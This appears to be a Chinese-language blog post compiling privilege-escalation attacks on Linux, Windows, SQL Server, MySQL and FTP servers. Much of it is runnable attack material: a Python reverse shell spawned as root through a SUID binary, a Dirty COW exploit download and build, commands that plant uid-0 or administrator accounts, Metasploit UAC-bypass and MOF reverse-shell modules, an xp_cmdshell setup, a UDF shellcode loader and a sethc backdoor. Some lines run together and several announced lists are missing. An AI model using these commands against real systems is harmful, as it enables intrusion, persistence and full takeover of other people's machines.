对提权做个归纳
提权一般分为两种:
溢出提权就是利用系统漏洞进行提权
基础知识:一文了解linux下的用户(组)和权限
步骤:
uname-a & idnc -l -n -v 8888github上的一个集合:linux-kernel-exploits
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了
已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
c以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;例子:利用find文件提权 假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami \;

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份

假设 /etc/passwd 的配置不当,导致任何用户都可以读写,就可以用来提权
perl -le 'print crypt("password@123","addedsalt")'/etc/passwd 文件:echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。
useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root -G root -s /bin/bash -d /home/user venus
检查配置的脚本:
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,默认这些程序以root权限执行
如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了
ls -l /etc/cron*
使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

exp1
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <password>
su firefart
# getrootshellexp2
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make
./dcow -s
# getrootshell
步骤:
github上的一个集合:windows-kernel-exploits
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果
需要UAC的授权才能进行的操作列表如下:
UAC有如下四种设置要求:
绕过方法 首先通过explloit获得目标主机的meterprter。获得meterpreter会话后,输入以下命令以检查是否是system权限:
getsystem
getuid
如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。
1.方法一:Windows权限升级绕过UAC保护 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.
getsystem
getuid
很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

2.方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
您将再次获得NT AUTHORITY\SYSTEM 权限。

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持) 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。
getsystem
getuid
最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

复现:CVE-2019-1388:Windows UAC 本地提权
防范:
windows2008有一个叫组策略首选项(Group Policy Preference)的特性.这个特性可以方便管理员在整个域内部署策略.
当下发的策略包含用户名和认证信息的时候,一个普通的用户就可以通过这些信息或得策略里的帐号密码,从而提升自己的权限甚至控制域内其他计算机
可参考:Windows组策略首选项提权(SYSVOL/GPP)
Microsoft Windows RPCSS服务隔离本地权限提升漏洞
RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
BUGTRAQ ID: 34443 CVE(CAN) ID: CVE-2009-0079
发布日期:2009-04-14 更新日期:2009-04-24
受影响系统:
Microsoft Windows XP x64 SP2
Microsoft Windows XP x64
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
也就是说只有Windows Server 2003和windows xp系统能够使用 pr 提权。
参见:【内网提权】windows2003本地PR提权详解
CMD探查
systeminfo :查看系统版本信息
netstat -ano : 查看系统开放端口
tasklist /svc : 查看系统进程
ipconfig : 查看ip地址
whoami : 查看当前用户
net user : 查看计算机用户列表
net localgroup : 查看计算机用户组列表
查看远程桌面的端口
# 方式一
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
# 方式二
tasklist /svc查询TermService对应PID
再netstat -ano查询PID对应的端口号
# 方式三
查询注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds dpwd\Tds cp 中PortNumber的值开启3389
# 方式一 通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
## 方式二 For Win2003
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 方式三 For Win2008
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 方式四.For Every
cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前两条即可。权限需要run as administrator。添加用户
net user test123 Test123 /add : 添加test123用户并设置密码为Test123
net localgroup administrators test123 /add : 将用户加入管理组
信息搜集永远是最重要的一个环节
主要依据一个特殊的存储过程“xp_cmdshell”,可以调用系统命令
即在sysadmin权限下调用“xp_cmdshell”,执行net user x x /add & net localgroup administrators x /add添加一个管理员账户
启用或关闭xp_cmdshell
# 启用xp_cmdshell
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0
RECONFIGURE WITH OVERRIDE
# 关闭xp_cmdshell
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0
RECONFIGURE WITH OVERRIDE 一些常用指令
查看数据库版本:select @@version
查看数据库系统参数:exec master..xp_msver;
查看用户所属角色信息:sp_helpsrvrolemember
查看当前数据库:select db_name()
显示机器上的驱动器:xp_availablemedia
查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
类似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin
select IS_MEMBER('db_owner') #判断是否为dbo权限
添加用户
exec master.dbo.sp_addlogin test,password #添加用户
exec master.dbo.sp_addsrvrolemember test,sysadmin #加权限
启动停止服务
exec master..xp_servicecontrol 'stop','test'
exec master..xp_servicecontrol 'start','test'
检查功能
SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'
xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc1、在注入点进行提权
1; exec master..xp_cmdshell 'net user 1 1 /add'--sqlmap.py -u "http://xxxx?id=1 --os-cmd="net user"2、已经得到数据库账户了 提权方法没变,只是位置变了而已 也就是连上数据库然后执行命令
主要有两种:UDF提权和MOF提权
1、UDF提权
UDF,全称user defined function,即用户定义函数
注:
lib\plugin文件夹下c:\windows\system32文件夹下思路:
一个例子如下:
create table temptable(UDF BLOB); //创建临时表
insert into temptable values(convert(shellcode,CHAR)); //插入shellcode
select UDF from temptable into dumpfile 'C:\Windows\udf.dll'; //导出UDF.dll,这一步注意版本,不同版本路径不同
drop table temptable; //删除临时表
create function cmdshell returns string soname 'udf.dll'; //创建cmdshell函数
select cmdshell('command'); //执行命令,这一步之后就可以执行cmd命令了
drop function cmdshell; //删除cmdshell函数
2、MOF提权
c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行%SystemRoot%\System32\Wbem\MOF目录下一个例子如下:
use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit
配置FTP用户时,如果赋予用户执行权限
就可以用quote site exec执行系统命令
如quote site exec net localgroup administrators temp /add
有个默认管理用户LocalAdministrator,密码是#l@$ak#.lk;0@P
可以用来添加用户,然后提权
或者找到配置文件,查看管理员的账户信息
可参考:第三方提权之Serv-U提权
文件夹RemoteAdmin下有个配置文件Remote.ini
解密可以得到管理员账户密码
然后可以添加用户,再提权
两个配置文件FileZillaServer Interface.xml和FileZilla Server.xml保存了用户信息
提权方法是用cmd.exe代替掉C:\Windows\System32下的sethc.exe,构造shift后门
三个文件Sites.dat、Stats.dat和quick.dat包含历史遗留信息
3389端口是微软的远程桌面服务RDP默认端口 其危险性不用多讲
防御方法:
LCX是最常见的端口转发软件
lcx -listen 500 8888lcx.exe -slave 服务器端IP 500 127.0.0.1 3389127.0.0.1:8888就可以连接到终端一个VBS代码脚本例子
Ser wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","temp")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/temp",user)
oe.add os&"/temp"Rices写过一个工具T001s Lpk Sethc
关键是目录信息的保护和用户权限的限制
一些措施如下:
对提权有了浅层了解 后续有学习再更新
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。